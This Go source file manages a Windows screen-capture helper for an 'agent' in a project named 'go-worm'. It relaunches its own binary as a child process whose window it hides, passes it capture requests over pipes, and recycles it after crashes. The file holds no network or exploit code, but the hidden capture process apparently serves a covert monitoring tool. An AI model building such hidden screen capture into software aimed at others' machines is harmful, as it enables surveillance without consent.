//go:build windows package capture import ( "bufio" "errors" "fmt" "os" "os/exec" "strings" "sync" "time" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/models" ) type helper struct { cmd *exec.Cmd stdin *os.File stdout *os.File reader *bufio.Reader frames int } var ( mu sync.Mutex current *helper ) // CaptureMonitor grabs a frame in a child process so GDI/BitBlt crashes // cannot take down the agent. The helper is recycled every CaptureRecycleFrames. func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) { mu.Lock() defer mu.Unlock() img, err := current.grab(index, format, quality) if err == nil { return img, nil } err = mapCaptureErr(err) if errors.Is(err, ErrMonitorNotFound) { return models.CapturedImage{}, err } stopLocked() img, err = current.grab(index, format, quality) if err != nil { stopLocked() return models.CapturedImage{}, mapCaptureErr(err) } return img, nil } // Stop kills the capture helper. Safe to call if none is running. func Stop() { mu.Lock() defer mu.Unlock() stopLocked() } func (h *helper) grab(index int, format string, quality int) (models.CapturedImage, error) { if h == nil || h.cmd == nil || h.cmd.Process == nil { var err error current, err = startLocked() if err != nil { return models.CapturedImage{}, err } h = current } if h.frames >= config.CaptureRecycleFrames { stopLocked() var err error current, err = startLocked() if err != nil { return models.CapturedImage{}, err } h = current } deadline := time.Now().Add(config.CaptureTimeout) _ = h.stdin.SetWriteDeadline(deadline) _ = h.stdout.SetReadDeadline(deadline) if err := writeRequest(h.stdin, index, format, quality); err != nil { return models.CapturedImage{}, err } img, err := readResponse(h.reader) if err != nil { return models.CapturedImage{}, err } h.frames++ return img, nil } func startLocked() (*helper, error) { exe, err := os.Executable() if err != nil { return nil, err } inR, inW, err := os.Pipe() if err != nil { return nil, err } outR, outW, err := os.Pipe() if err != nil { _ = inR.Close() _ = inW.Close() return nil, err } cmd := exec.Command(exe, "-capture", "-skip-install") cmd.Stdin = inR cmd.Stdout = outW cmd.Stderr = os.Stderr cmd.SysProcAttr = helpers.HiddenSysProcAttr() if err := cmd.Start(); err != nil { _ = inR.Close() _ = inW.Close() _ = outR.Close() _ = outW.Close() return nil, fmt.Errorf("start capture helper: %w", err) } _ = inR.Close() _ = outW.Close() return &helper{ cmd: cmd, stdin: inW, stdout: outR, reader: bufio.NewReader(outR), }, nil } func stopLocked() { h := current current = nil if h == nil { return } _ = h.stdin.Close() _ = h.stdout.Close() if h.cmd != nil && h.cmd.Process != nil { _ = h.cmd.Process.Kill() _ = h.cmd.Wait() } } func mapCaptureErr(err error) error { if err == nil { return nil } if strings.Contains(strings.ToLower(err.Error()), "monitor not found") { return ErrMonitorNotFound } return err }